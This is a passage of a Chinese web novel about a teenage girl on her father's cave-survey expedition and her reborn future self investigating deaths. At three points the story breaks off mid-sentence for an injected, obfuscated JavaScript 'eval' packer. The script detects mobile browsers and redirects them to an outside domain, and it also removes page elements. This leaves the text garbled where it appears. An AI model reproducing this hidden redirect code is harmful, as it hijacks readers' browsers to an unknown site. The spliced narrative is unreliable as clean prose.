一起聊天,老教授一来,所有人都不由自主挺起腰杆,自觉排好方阵。 原本有个二十七八岁的女人回头,想和小温搭话,看见老教授走来,立刻站直了,假装自己是根不会说话的电线杆。 小温听见窸窸窣窣的议论声,诸如“吕教授来了”“站好点站好点”之类的。 小温不知道为什么也跟着站直了,可能是从众?人在人群里总是容易做出和多数人一样的事。 老教授名叫吕瀚博,是水文方面的专家,他目光环视一圈,确认没有缺人后,开始和负责管理设备的女人确认设备情况。 包括后勤和向导在内,整个团队一共九人,成员年龄有大有小,最年轻的二十来岁,是一位后勤人员,看起来刚工作没几年。 后勤人员租了两辆车,把一大堆小温看不懂的设备扛上车装好,装好车正式出发已经接近八点。 带路的向导坐到了领队车的驾驶座上,他刚一伸手打开车门,小温还没反应过来怎么回事,就见一群人乌泱泱挤到了另一辆车上。 一群人打开车门,坐下,再关上车门,速度快得只是眨两次眼的时间,车外站着的就只剩下四个人了。 那位威严的老教授拉开副驾驶座的车门,上了领队那辆车,小温看了看站在第二辆车旁边手足无措的年轻男人,又看了看老温,一脸茫然。 老温小声和小温解释:“他们都不想和吕教授一辆车。” 小温恍然大悟,表示理解,她也不喜欢和过于严肃正经的人待在一起,太压抑了。 老温拉开车门上车,小温紧随其后,另一边没抢到位置的年轻男人不情不愿地走向领队车,能看得出来他是真的不想和吕瀚博一辆车。 年轻男人上了车,小温仔细打量着他,小温记得他是负责后勤的石广洋。 石广洋的年纪应该和大温差不多,二十五岁上下,性格内向,和吕瀚博这样威严的老教授同坐一辆车让他很拘谨。 他一直端端正正坐着,仿佛现在不是坐在科考队的车上,而是坐在结构化面试的现场。 向导是个三十岁上下的男人,名叫程诩,穿着很普通的黑色短袖,长相也很普通。确认最后一人上车后,向导一踩油门,发车了。 老温往石广洋的背上拍了一下,语气调侃:“放松点小洋,高考早过了。” 吕瀚博回头看了眼老温,他的目光里没带什么感情,仅仅只是看着。 小温的角度可以完整看到吕瀚博的脸,他长得凶,冷冰冰地看过来时让人感觉心里毛毛的。小温抖了抖,难怪其他人都不想上这辆车。 还好吕瀚博也只是看了一下,毕竟也不是第一天认识老温,都知道老温总是没个正行。 “抱歉,温前辈……”石广洋很紧张,一直拿余光瞟前座的吕瀚博,好像很担心惹怒他。 可能是因为老温的名字和本人气质不符,老温的同事多数都直接喊他“老温”,而石广洋对老温的称呼是“温前辈”。 倒是很符合石广洋这类人的性格。 “早说了,叫我老温就行,我女儿都没你叫得尊敬。” 小温一巴掌拍在老温大腿上,语气和善:“老温你皮痒了我可以用拳头帮你挠挠。” 小温发现老温最近真的一有机会就调侃她,也不知道咋回事,可能皮痒痒了。 8. 重生系统 “祖宗,你的拳头那是挠痒痒用的吗?你爹我可没有拳馆的沙包耐打。” “拳馆?小姑娘还是个练家子?”开车的向导听到这起了兴趣,也加入了讨论。 话题莫名其妙跑到小温身上了,石广洋看看老温,又看看小温,悄悄松了口气。 人们的关注会让他感到局促不安,如果可以的话,他更希望所有人都忽视他,让他静静待在角落里。 “对,小时候问她想学什么,她说不知道等她好好考虑,我那时已经做好给她买乐器或者画具的准备了,结果某天去接她放学,她一见面就说她要学打架。” 小温还记得事情的起因,那时她八岁,班上有个小男生老扯她辫子玩,她生气了,和那个男生打了一架。 男生吃得多,长得壮实,比同龄孩子大一圈,而小温那时细胳膊细腿的,还是个小豆丁。 毫不意外,小温打输了。 当天下午老温去学校接小温,小温“噔噔噔”跑到爸爸的小电驴跟前,顶着一头乱糟糟的头发,仰头看老温。 周围都是孩子和家长们,小温见到老温说的第一句话就是:“我要学打架。” 八岁的孩子不知道太极拳、自由搏击、跆拳道这些名字,她只是很简单地说要“学打架”。 学会打架就能打赢所有想欺负她的人了,那时的她只是很单纯地这么想。 她想保护自己,也想保护别人。 老温没问小温的头发怎么回事,也没问她为什么突然要学打架,他只回了一个字:“好。” 第二天,那个扯她辫子的男孩被他爸按着头,过来和小温道歉了。 男孩鼻青脸肿的,似乎被他爸打了一顿,也不知道是老温告的状还是班主任告的状。 几天后的周末,老温搭着小温去了一家武术馆,小温从小电驴上跳下来,抬头看那有些古朴的招牌。 那就是她习武的开端。 后来小温在教练的指导下养成了早睡早起多锻炼的习惯,身高也像一棵营养充足的水稻一样蹭蹭涨。 没有男生敢再欺负她了,扯她辫子前需要思考自己能不能打赢她。 与此同时,老温被叫家长的次数也变多了,因为小温对欺负她和她朋友的人全都进行了单方面的“武术教学”。 “女孩子学点防身技巧挺好的。”向导说。 “是啊,”老温说着瞥了一眼旁边的小温,语气调侃,“学到现在成了家里的山大王,一个不高兴就对她老爹……疼疼疼,姑奶奶我错了,我错了!” 老温话说一半,小温掰过老温的脑袋,笑盈盈地用拳头夹他太阳穴。 旁边的石广洋看傻了,默默摸上车门把手,仿佛随时准备跳车逃离“案发现场”。 “安静。”前座传来吕瀚博威严的声音,好像是嫌小温和老温太吵了。 老教授威严的声音总是让小温想起学校的教导主任,她挨训多了,训出条件反射了,听罢半点没犹豫,直接松手,老温像弹簧一样直挺挺地弹了回去。 旁边的石广洋松口气,放下抓着车门把手的手。 不能闹腾了,小温总觉得憋得慌,越发觉得其他人争抢第二辆车是很明智的选择,要是在第二辆车上,或许已经和车上的科考队成员闹成一片了。 就这样安静开过不知道多少个弯,向导说话了,他说:“好了,从这走小路上去就是目的地了。” 小温扒着车窗一看,荒山野岭的,下车再一看,眼前是一条蜿蜒向上的小路,远处是连绵不绝的青山。 小温从小在城市长大,外婆家虽然在乡下,但没有这么多山,所以她还是第一次见到这样的场景。 远处有座高耸入云的山峰,山腰上环了一条云做的衣带,头顶飞过一群不知名的鸟类,小温仰头看鸟,想起了何景澄。 她掏出手机拍了一张群山的照片,发给何景澄,何景澄没回,估摸着正蹲在哪个角落拍鸟呢。 两辆车的人纷纷下车,有人打开后备箱拿出一堆器械和设备。 这里距离考察地还有段距离,车没法开上山,只能用最原始的人力搬运设备。 整个科考队加上小温共十人,四女六男,多数是青壮年,此时在向导的带领下纷纷合力将设备扛上山。 小温力气大,也出力帮忙了,众人很自觉地排起长队,顺着小路爬上山。 小温一路上都在四处张望,她对周围的环境很感兴趣,这里有很多她没见过的植物,还有昆虫。她甚至还在一片不知道什么植物的叶子上,看见一条盘起来的竹叶青。 天气炎热,到目的地时,一行人都汗流浃背,好在需要搬上山的设备不算多,不用再跑一趟。 目的地是一个地下溶洞,洞口被杂草掩盖,小温放好东西,在一旁看老温的同事清理溶洞口。 这是科考队第二次来这个地下溶洞,上一次来的不是这批人。老温说上次来的那帮人主要考察地形,这次主要考察水文,需要下水进行采样。 “嘿,累吗?”老温不知道什么时候凑过来了,递给小温一瓶矿泉水。 “不累。”小温接过矿泉水,不管累不累她都要说不累,少年人有少年人的倔强。 小温拧开瓶盖,咕嘟咕嘟喝了半瓶,兜里的手机响了,小温掏出来一看,是何景澄的消息。 【何景澄】:抱歉,刚刚在拍白鹡鸰跑步。 【小温】:跑步? 小温疑惑,鸟不是飞的吗? 语言难以解释,何景澄发来了一小段视频。他刚刚拍完,来不及把视频导入手机,直接用手机录下相机里的视频。 视频有些模糊,但是能看到一只黑背白腹、胸口一撮黑毛的小鸟在地上高速行走。 它跑一段走一段,走的时候头一点一点的,停下来的时候会点几下尾巴。 它跑起来时速度飞快,甚至看不清脚是怎么迈的,像一个移动的大汤勺。 还真是跑步。 而且…… 【小温】:跑得好快! 小温感觉要被何景澄带入观鸟的坑里了,看到这些活泼灵动的小鸟确实会让人感觉心情很好,很适合给卧病在床的人解闷。 【何景澄】:我还在外边,晚上再跟你分享其他照片和视频。 【何景澄】:你们到目的地了吗? 【小温】:到了。 小温端起手机拍了一张溶洞口的照片,刻意避开了人,她把照片发给何景澄。 【何景澄】:注意安全。 【小温】:好,你也要注意安全。 小温和何景澄相处下来,对他的印象就是很普通的、有点好心的温柔男生,有时会忘记他的学神身份。 这也挺好,小温心想。加上身份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364353|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的枷锁会把两个人隔得很远,现在这样像朋友一样就挺好的。 …… 小温这边吭哧吭哧帮科考队打杂,逆转空间内大温在尝试呼叫系统。 大温有些事想问系统,系统故障还没修好,最近呼叫十次有九次无响应。 大温有些不耐烦了,她收回之前的言论,系统故障还是挺影响她的行动计划的。如果这个系统能打分,她现就要打零分,再写八百字的小作文言辞激烈地控诉系统的不靠谱。 但现在大温找不到评分入口,她只能耐着性子又尝试了一次。 脑中响起熟悉的电流声,大温心下一喜,这次终于成功了。 【系统】:您好,宿主。 有段时间没听到系统的声音了,它的声音依然毫无感情。 “我为什么会重生?”大温怕系统突然掉线,连埋怨都不埋怨了,开门见山道。 【系统】:有人向重生系统发出请求,希望帮助您重生。 “有人?谁?”大温蹙眉,上一世她的身边人几乎死绝,她实在想不到会有谁替她向系统求助。 【系统】:您没有权限查阅。 “ta付出了什么代价让我重生?” 【系统】:您没有权限查阅。 “系统故障是怎么回事?” 【系统】:您没有权限查阅。 “……” 大温现在很想一拳头砸在系统身上,但是系统没有实体——哦,倒是有个蓝色光圈的投影体,不过那个也打不着。 看样子不管接下来问什么,系统也只会重复这句话了。 大温抱臂坐在电脑前,房间有些昏暗,电脑光打在她脸上,把她的脸照得惨白,就像电视剧里的反派一样。 重生后的每一天都很幸福,太幸福了,让大温都想忘记前世种种,重新来过了。 小温也希望大温能够重新开始,只是大温只要记得前世的事就很难重新开始。 记忆是构成一个人的重要部分,那些痛苦的记忆塑造了现在的大温,早就成了她密不可分的一部分。 大温从兜里摸出烟盒,这次小温不在,她可以久违地抽一根烟。 打火机“咔哒”一声窜出火苗,点燃了烟草,想起了前世死前的回忆。 上一世大温坠楼前,曾收到一条陌生号码发来的短信,让她到一栋废弃大楼的天台,那里有秦女士的踪迹。 那是一栋烂尾楼,在市郊,人烟稀少,基本没人会往里走,很适合杀人或被杀,死在那里都得几天才会被发现。 很简单的陷阱,大温毫不犹豫上钩了。 或许是不想放过任何可能,心中期待着秦女士真的在那里,又或许她只是很单纯的累了,不想挣扎了。 大温爬上那座废弃大楼,走到了护栏边。 随后发生的事毫不意外,大温被人一把推下楼,最后也不知道是谁推的她。 大温只记得风在耳边呼啸而过,她看着地面越来越近,慢慢闭上双眼。 坠亡后她似乎看见了幻觉,见到了死去的亲人和朋友,再然后她就重生了。 “我还有最后一个问题,”大温右手夹烟,左手搭在电脑桌上,手指的指甲尖轻轻敲击桌面,“解决事件后会有系统奖励吗?” 这次系统回答了,只有一个字。 【系统】:有。 9. 安全员 老温遇险是在第三日,第一日小温的任务主要是当个路障,一个偶尔帮忙打杂的路障。 小温捏着两根试管,路过吕瀚博身边,他正在和另外两位女科研人员讨论一些小温听不懂的学术问题。 小温好奇,歪头听了两耳朵,一堆没听过的专有名词连珠炮般往外蹦,把她砸得晕头转向,连忙走远了。 老温和另外两个同事穿好防护服,准备下洞。小温左右无事,四处望了望,目光锁定树下蹲着的石广洋。 现在就小温和石广洋最闲,小温悄悄摸到石广洋身后,发现他在盯着地上的一堆枯枝落叶看……不对。 顺着石广洋的视线,小温看见了石广洋一直在看着的东西——一个戚风蛋糕……不对,一个像戚风蛋糕的蘑菇。 一个孩童拳头大小的蘑菇静静坐在枯枝落叶中,它的身形圆润,头顶为棕色,下半段为黄棕色,像一个去了外层纸皮的小蛋糕。 “喔!好可爱!”小温忍不住惊叹。 小温突然说话,把石广洋吓了一跳,石广洋“噌”一下站起来了,看到是小温,松了半口气。 小温指指地上的蘑菇:“这是什么蘑菇啊?” 石广洋想说话,但是一时间不知道怎么称呼小温,支支吾吾了半天:“呃……那个……温……” 小温很贴心地提醒道:“叫我温流照就行。” “……好,我叫石广洋。” “这是秃马勃。”石广洋自我介绍完,还没忘记回答问题,他蹲下身捡了根枯枝,在蘑菇脑袋上轻轻敲了两下,声音有些空,“夏季多雨,这里有很多有趣的蘑菇。” 石广洋在说起蘑菇时,嘴角露出一个弧度很小的微笑。要是可以的话,他会更愿意和蘑菇生活,而不是人类。 “小洋——”不远处有位科考人员喊道,“过来一下!” “啊,好!”石广洋立刻起身应答,走之前还依依不舍地看了眼地上的蘑菇。 他真的很喜欢蘑菇啊,小温心想。 石广洋走后,小温又没事做了,她给蘑菇拍了张照,发给何景澄。 【小温】:野生的蛋糕。 何景澄这次回得很快,应该是刚好在看手机。 【何景澄】:秃马勃? 【小温】:我们玩个游戏吧,你假装不知道,让我告诉你。 何景澄秒回。 【何景澄】:好。 【小温】:嘿嘿,你知道这是什么蘑菇吗? 【何景澄】:不知道。 【小温】:是秃马勃!嘿嘿,我赢了,我比学神还厉害! 小温悄悄给自己鼓掌,对面的何景澄沉默片刻,发来了一条新消息。 【何景澄】:你……听说过我? 小温一愣,笑容僵在脸上,坏了!不小心说漏嘴了! 唔……这该怎么搪塞过去?小温摸着下巴沉思,突然肩膀好像被人拍了一下,她下意识回头,没见到人,正疑惑呢另一侧便传来一个女人的声音。 “嘿!” 小温向另一侧转头,看见了一个二十七八岁的年轻女人,女人的长发盘起,扎了个丸子头。小温记得她是之前在集合地点回头,想和她搭话的那个人。 “啊!是你!你是……”小温说着,卡壳了。 她仔细回忆着先前科考队成员的自我介绍,队中有三位女性,其中两位是四五十岁的女教授。剩下一位年轻些,是负责器械设备和野外生存的安全员卢旗旗。 在小温想起卢旗旗的名字前,她便率先开口自我介绍道:“嗨,小姑娘,我叫卢旗旗,叫我旗旗姐就好。” “你好啊旗旗姐,我叫温流照。”小温伸手,和卢旗旗握了握手,“我记得你,你之前好像想我和说话。” “我早就对你很好奇了。”卢旗旗蹲到小温身边,语气有些淡淡的幽怨,“第一天上班时就遇见老温跟我们炫耀,他女儿又给他送了什么小礼物。我一直叫他有空带女儿过来逛一圈,他不肯,跟藏宝似的。” 小温扭头攥拳,果然还是得找个时间让老温收敛点。 “你多大了啊?” “十六。”小温眼珠一转,不甘不愿地说,“……好吧,是十五岁半。” “哇,比我想象的要小一些,你长得很高啊。” “真的?”小温听到夸赞后眼前一亮,“哼哼,我还能继续长,等我长得比老温还高了,我就可以一手抱老温,一手抱秦女士了。” “秦女士是你妈妈?” “嗯,秦女士是家里的老大。”小温凑到卢旗旗耳边悄悄补充,“老温是我的小弟。” “老温说秦女士是家里最辛苦的人,为了生下我,她受了很多苦,所以我要尊敬地称呼她为‘女士’。” 秦女士应该是家里的老大,这是理所应当的。 树林里有噪鹃“哦啊——哦啊——”地叫个不停,一声比一声急促,一声比一声响亮。 小温抬头望了一圈,什么鸟影也看不见。 “旗旗——”不远处有人在叫卢旗旗,声音在树林间回荡,“过来搭把手——” “好嘞——”卢旗旗起身回应,语毕,回头对小温wink,“我去忙咯,有时间再聊吧~” 小温用手比了个OK。 卢旗旗离开后,小温也跑去四处游荡,看看哪里需要她帮忙打杂。有时候会有人过来逗逗她,或者是教她一些科考知识。 “你知道吗,在野外如果缺少水源,可以在竹子节间或者香蕉树基部收集水分哦。”一位科考队成员兴致勃勃地向小温科普。 “话说这个知识有派上用场地一天吗?”另一位科考队成员吐槽,“一个小女孩,也不会去什么危险的地方吧?” 小温沉思片刻,认真回答:“那可不一定。” “喔!有胆量!以后要和你爸爸干一样的工作吗?” 小温笑道:“不知道啦,未来的事谁也说不准。” 小温就这样时而帮忙,时而和科考队成员们聊天,直到下午六点,树林里的噪鹃终于不叫了,大温睁眼了。 地下溶洞里的成员陆陆续续爬出来了,老温橙黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364354|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色的防护服蹭了好多泥沙,上来后一见大温就笑,傻乎乎的。 大温刚刚“上线”,这次见到了好多上辈子没见过的人,信息量有点大,让她接收记忆的时候缓了好一会。 今天结束得早,石广洋联系了山下村庄的村长,晚餐可以去村长家吃。 一行人沿着先前留下的道标返回山脚,找到停在山下的车,开车返程。 车子七拐八绕,终于来到了两栋三层高的自建楼前,两栋楼被围在一个大院子里,院门口是二开合的金属大门。 村长就站在大门口等着科考队,那是位四十多岁的女人,相貌和衣着都是标准的农村妇女。她一见到车就很热情地招手,领着科考队走进院子。 院子里摆了两大桌好酒好菜,大温看到两桌农家菜眼睛都亮了,看村长的眼神好像看见了妈。 这顿饭吃得香,大温对村长家的米酒很感兴趣,但毕竟用的是小温的身体,最后还是没喝。 饭后村长收拾出了几间空房间,村长家虽然大,但房间还是很有限的,大家只能挤一挤。但科考队的成员们都没什么怨念,甚至很感激。他们这些人风餐露宿习惯了,有床睡怎么也比在野外搭帐篷好。 大温和卢旗旗以及另外两位女教授睡同一间屋子,两位女教授都是比较沉稳的性格,只是偶尔和大温说几句话。 卢旗旗倒是很开心,她似乎真的很喜欢大温,把大温当成妹妹。 大温有点头疼,说实话她对卢旗旗的感情有点复杂。 因为,前世老温死后,告知死讯的人就是卢旗旗。 …… 大温还记得那一天,她刚买了菜回来,准备做好饭菜等秦女士下班回家,刚把菜放桌上,兜里的手机响了。 秦女士很难得地给大温打了电话,她是个话很少的人,做得永远比说得多。 大温接起电话,电话那头沉默了很久,她听到了女人的抽泣声。 秦女士哭了。 她说老温死了。 大温听不懂,老温死了是什么意思? 大温想问问这是什么意思,又是什么新的玩笑吗?但是她没有问出口,她浑身僵直,手脚麻木,像是有微小的泡泡在四肢的皮肤下炸开。 当天秦女士订了车票,坐票卖光了,只剩下站票了,母女二人沉默地站在有些嘈杂的车厢中。 秦女士的手很冷,太冷了,好像失去了一半的生命。大温握住秦女士的手,感觉到她在轻轻发抖,她变得像一只轻飘飘的风筝一样。 大温比秦女士暖一点,她想给秦女士暖暖,也想抓住秦女士这只飘飘荡荡的风筝,于是她抱住了秦女士。 车厢里很多人,又好像只有她们两个人。 大温不是第一次去那么远的地方,但这一次是最疲惫的。 见到老温遗体的时候已经是凌晨,那是大温第二次经历亲人离世。 卢旗旗一直守在大温的遗体旁边,她的眼睛哭肿了,一见到大温和秦女士就跪下了。 卢旗旗:“我对不起你们,都是我的错……” 10. 窥视 卢旗旗的声音很哑,大温下意识想把人扶起来,手微微抬起,顿在空中,最终还是放下了。 大温发现,自己没有想象中的那么大度。 警方对现场进行初步调查后排除他杀,没花多久时间便确定了这是一场意外。 事情的经过很简单,那次水下作业所使用的引导绳有轻微的老化磨损,而负责检查的卢旗旗没有及时发现。 本来按照科考队的路线规划,这点轻微的磨损并不会导致断裂。但意外偏偏发生了,水下存在未探明的暗流,老温被卷了进去,即便他反应已经很快了,立刻抓住引导绳想要返回水面,可还是没能返回水面。 本就不太结实的引导绳在湍急的水流中彻底断裂,守在岸上的卢旗旗第一时间发现不对劲,她拿上装备展开救援,但已经晚了。 变故发生得太过突然,谁也没料到,最终科考队尽全力营救,也只能救出一具冰冷的尸体。 老温死了。 卢旗旗如遭雷击,有一位同事死在自己面前了,而导致这一切的……似乎……是她。 在警察宣布调查结果后,卢旗旗浑身冰冷,仿佛也死去了一半。 带队的吕瀚博向大温母女致歉,秦女士始终沉默着,她本来就话少,现在更是成了一尊不会说话的石像。 老温的死属于工伤,大温一家获得了高额的赔偿金,但她们都不在乎、也不想要那笔钱。 多少钱都不能买下老温的命,就算是给她们一座金库也不能。 可即便是她们不愿意、不同意,也不得不接受这个事实,接受老温溺亡的事实。 确定为意外身亡后,老温的遗体被送往殡仪馆,第二天,老温火化了。 工作人员把一个小陶罐交到秦女士手里,秦女士单手抱着那个小小的陶罐,另一只手抚摸着陶罐的盖子,就像在抚摸爱人的头颅。 秦女士说话了,她说了来到这个城市后的第一句话。 她说:“温君,你怎么变得那么小了。” 出于愧疚,卢旗旗全程跟着大温母女俩,她们没赶走卢旗旗,却也没对她使什么好脸色。 卢旗旗犹豫了很久,在大温和秦女士临走前,给了大温一个黑色的袋子。 “这是……那根断掉的绳子……我很抱歉……”卢旗旗头垂着,像是要垂进地里。 大温漠然接过袋子,里面是一捆整理好、绑好的引导绳,甚至还用出厂时的包装袋装好了,咋一看还以为是新的。 卢旗旗小心翼翼地观察着大温和秦女士的脸色,秦女士还抱着陶罐,似梦非醒。大温轻笑,似嘲讽又似无奈,心脏好像被人攥着,在胸腔里迟缓地跳动。 再像新的也不是新的了,无法改变它杀了她父亲的事实。 大温最后什么也没说,和秦女士登上了离开沛霖市的动车,再也没有和卢旗旗联系。 …… “小温妹妹?”似乎有人在叫小温……不对,现在应该是大温。 大温从回忆中惊醒,看到了回忆中熟悉的脸。 卢旗旗脸色担忧,一只微凉的手贴到了大温的额头:“你看起来脸色很差,生病了吗?” 大温刚刚从回忆中醒来,还没想好该用什么样的心情面对卢旗旗。她正纠结着,房间门开了,另外两位女教授洗漱完毕,有说有笑地走进屋。 其中一位头发很短很卷、眉眼含笑的女教授看到了这一幕,微微惊讶道:“哎呀,这是怎么了?妹妹着凉发烧了?” 另一位面色沉稳的女教授推了推鼻梁上的眼镜,也跟着问道:“哪里不舒服吗?” 被三位大人关切的目光盯着,大温有些不自在,连忙说道:“没事!没事!就是有些困!” 大温努力露出一个笑容,即便她垂在身侧的手还在因回忆轻微颤抖。 “有不舒服的一定要和我们说啊。”卢旗旗叮嘱道。 “你要是出了什么问题,老温那家伙要闹了。”头发很卷很蓬松的女教授调侃道。 “好了,该睡了。”沉稳的女教授说道,随手把房间灯关了。 暖黄色的灯光熄灭,卢旗旗打开手机的手电筒,替女教授照亮脚下的路。 卢旗旗不像是坏人。 大温翻了个身,背对卢旗旗。 大温不恨卢旗旗,但也不喜欢她。她毕竟不是圣人,即便她知道卢旗旗其实是个很温柔的女人,即便她知道当年的事并不完全是卢旗旗的过错,她也无法做到对卢旗旗心无芥蒂。 大温无声地叹了口气。 只希望这一次能阻止悲剧的发生,或许小温能和卢旗旗相处融洽。 大温又翻了个身,面朝天花板,想起了先前与系统的问答。 系统说每一个事件结束都会有奖励,大温还没来得及问怎样才算结束,脑中便再度响起老电视雪花屏的沙沙声,系统又掉线了。 大温:“……” 算了,靠非人类不如靠自己,大温决定自己思考。 先前花奶奶平安活过了死亡时间,大温以为事件一结束了,但是系统没有给奖励,说明这件事没有结束。 假设事件一并没有结束,那么,怎样才算结束? 按照常理推断,如果是刑事案件,在警方抓获真凶时事件就结束了。如果是推理小说,在侦探找出真凶时事件就结束了。 大温不知道自己算什么身份,高中生?重生者? 自己结束一个事件需要做什么? 假设没有真凶,救下死亡的人,这个事件就应该结束了。 为什么没结束? 因为……有真凶? 是谁? 大温感觉有只手抚摸过她光滑的大脑皮层,突然觉得自己的脑子可能还没那千呼万唤始出来的破系统好使。 黑暗中大温一巴掌拍在脑门上,清脆的响声在安静的房间里显得很突兀。 大温:“……” 坏了,忘记这里不是自己房间了。 木板床吱嘎作响,身侧的卢旗旗微微抬头,凑近大温耳边小声问道:“怎么了?” 大温板着脸扯谎:“有蚊子。” 总不能说感觉脑子不好使想拍拍吧。 “有吗?我都没感觉……”卢旗旗嘟哝着躺了回去,她的声音里带着困意,看起来已经准备睡着了。 乡下蚊虫虽多,但屋内点了蚊香,其实并没有什么蚊子。 大温仰躺在床上,屋外有蟋蟀在叫,有点吵。另张床上的两位女教授翻了个身,卢旗旗打了个哈欠,继续睡了。 大温继续思考刚刚的问题。 谁是凶手? 假如,事件一真的存在一个凶手,谁是最有可能的人? 花奶奶是在二三楼之间的拐弯处摔倒的,时间是18点左右,在的那个时间段里,有谁待在待在那附近? 大温闭眼沉思,忽的灵光一闪。 眼睛! 那个小孩! 大温猛地睁开眼。 直到此刻,大温终于想起先前一直忽略的人——邻居小孩。 花奶奶出事的那天,小温曾看见邻居家的小孩在透过门缝窥视她们。 这件事单独拎出来并不可疑,在大温的世界里,那个小孩从小就怪,但是除了怪以外也没做过什么事。 如果把这个小孩和花奶奶摔下楼梯这件事结合起来……大温有了个很可怕的假设。 假如……假如那个小孩实际上做了坏事,但是一直没被发现呢? 大温背后的汗毛一根根站立,在炎热的七月份里感觉到了刺骨的寒意。 她想到了为数不多和那个小孩打照面的场景,骨瘦如柴的小男孩可能会出现在小区里的任何一个角落。 滑滑梯的下方,楼梯拐角处的平台,微微开启的防盗门内……一个瘦小的小男孩睁着黑漆漆的眼睛,一眨不眨地看着来人。 是他! 他是最有可能的人! 花奶奶的危机还没有解除,事件一还没有结束,所以系统没有奖励提示。 大温眼前豁然开朗,先前的异样都有了解释。 下午六点左右,那个小男孩一直在家门口看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364355|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。大温一直对花奶奶死亡的时间感到困惑,如今看来,可能是前世的小男孩和花奶奶说了什么,导致花奶奶饭后匆匆出门。 随后他将花奶奶推下楼,并伪装成意外摔倒。 这个小区比较老,只有一楼有监控,几年后才应业主们的要求大规模安装监控。 没有监控,没有目击证人,没有人会相信一个不满十岁的小孩会杀人。 那个小男孩,他很聪明,也很危险。 怎么保护花奶奶? 大温躺在结实的木板床上,不自觉地啃着大拇指指甲。 不可能指着小男孩的头说他是未来的杀人犯,她没有证据,现在一切都是她的猜测。 就算能够找到证据,在事情发生之前,法律无法制裁他。 大温感到一阵无力,最安全的办法,是让花奶奶一家搬家,但这样也只保护了花奶奶一个受害者,没有解决根本问题。 大温一个头两个大,要是能武力解决就简单多了,不管三七二十一,把那皮孩子套起来打一顿,让他看看自己惹到了什么人。 可惜,法治社会不能使用这样简单粗暴的方法,她需要认真地思考,思考一条真正可行的解决之法。 大温轻手轻脚下床,乡下的木板床并不结实,稍微挪动一下就会发出“吱呀”的响声。 其他三人都已经睡着,工作的牛马和无所事事的(准)高中生不一样,她们忙了一天,此时两眼一闭就睡着了。 大温很理解社畜需要睡眠,她往床边一摸,摸到了自己的手机,随后她缓慢地起身,蹑手蹑脚地开门。 在一切发生之前,大温能做的很少,她想和留在家里的秦女士说一声,尽快在家门口安装监控。 客厅没有开灯,村里人睡得早,大温打开手机手电筒走向大门。 村长家的大门是二开合的,内侧是金属锁,大温只在外婆家见过这种门。她拧开门锁,门外是村长家的大院子,她轻轻推门走出。 “汪!呜——汪汪!” 院子的角落里突然传来警惕的犬吠声,在寂静的院子里显得很突兀,大温被这声音吓了一跳,关门时过急,“哐”一下夹到手了。 “痛痛痛!”大温捂着手指小声怪叫,愈发觉得自己倒霉了。 村长怕狗误伤科考队,院子里的大黄狗早就被拴起来了,只是嘴巴没封上,见人还是会叫。 今天月亮很亮,大温快步走到院门口,夜里院子的大门是锁着的,她就这样蹲在紧闭的大门口前拨通了秦女士的号码。 三声铃响过后,电话被接通,另一头传来秦女士一如既往平静无波的声音:“喂?” 大黄狗还在叫,大温想尽快回屋,她直截了当地说:“秦女士,帮我留意一下隔壁的那个小男孩,顺便在家门口安个监控。” 秦女士:“发生什么了?” 大温:“我不知道我有没有猜错,我感觉那个小孩想害花奶奶。” 秦女士沉默片刻,她有挺多疑问的,但是她没有问,只是轻声回答:“好。” 交代完事情,大温本该挂断电话,她握着手机迟疑了片刻,并没有挂断电话。 也许是她实在太久没和母亲闲聊了,一时竟舍不得挂断。 “秦女士,我想你了……” “村里人很好,村长给我们准备两桌菜,还让我们住她家里。” 大温看不见秦女士的脸,但是能想到她的表情,她大概会露出一个浅浅的笑容。 “有机会我想和村长请教一下,她的卤猪蹄做得好好吃,软烂入味,我学了回去做给你尝尝。” “不过还有好几天呢,第一天才刚刚结束。哎呀,不行了,本来想着快点说完回去睡觉的,你听,村长的狗一直在叫,我怕把大家吵醒了。” “晚安,秦女士。” “嗯,晚安。” 大温有些不舍地挂断电话,身后的大门“咔哒”一声开了,大温蹲在地上和来人打了个照面。 来人背着月光有点看不清脸,他对着地上的大温说:“你在做什么?” 11. 引导绳 “啊,啊?哦我打电话。”大温连忙从地上站起来,她听出来了,这是那个吕瀚博的声音。 吕瀚博大晚上出去做什么? 大温现在对所有人都带着怀疑,特意留了个心眼,记下吕瀚博出门的时间。 吕瀚博一言不发,错身而过时,大温隐约闻见了他身上的烟味。 烟味?吕瀚博是出去抽烟了吗?为什么不在院子里抽,要跑到院外? 大温疑惑间,吕瀚博走到了大黄狗跟前,大温这才注意到,貌似从吕瀚博走进院门起,角落拴着的大黄狗就不叫了,借着月光,大温隐约能看见那条大黄狗在冲他摇尾巴。 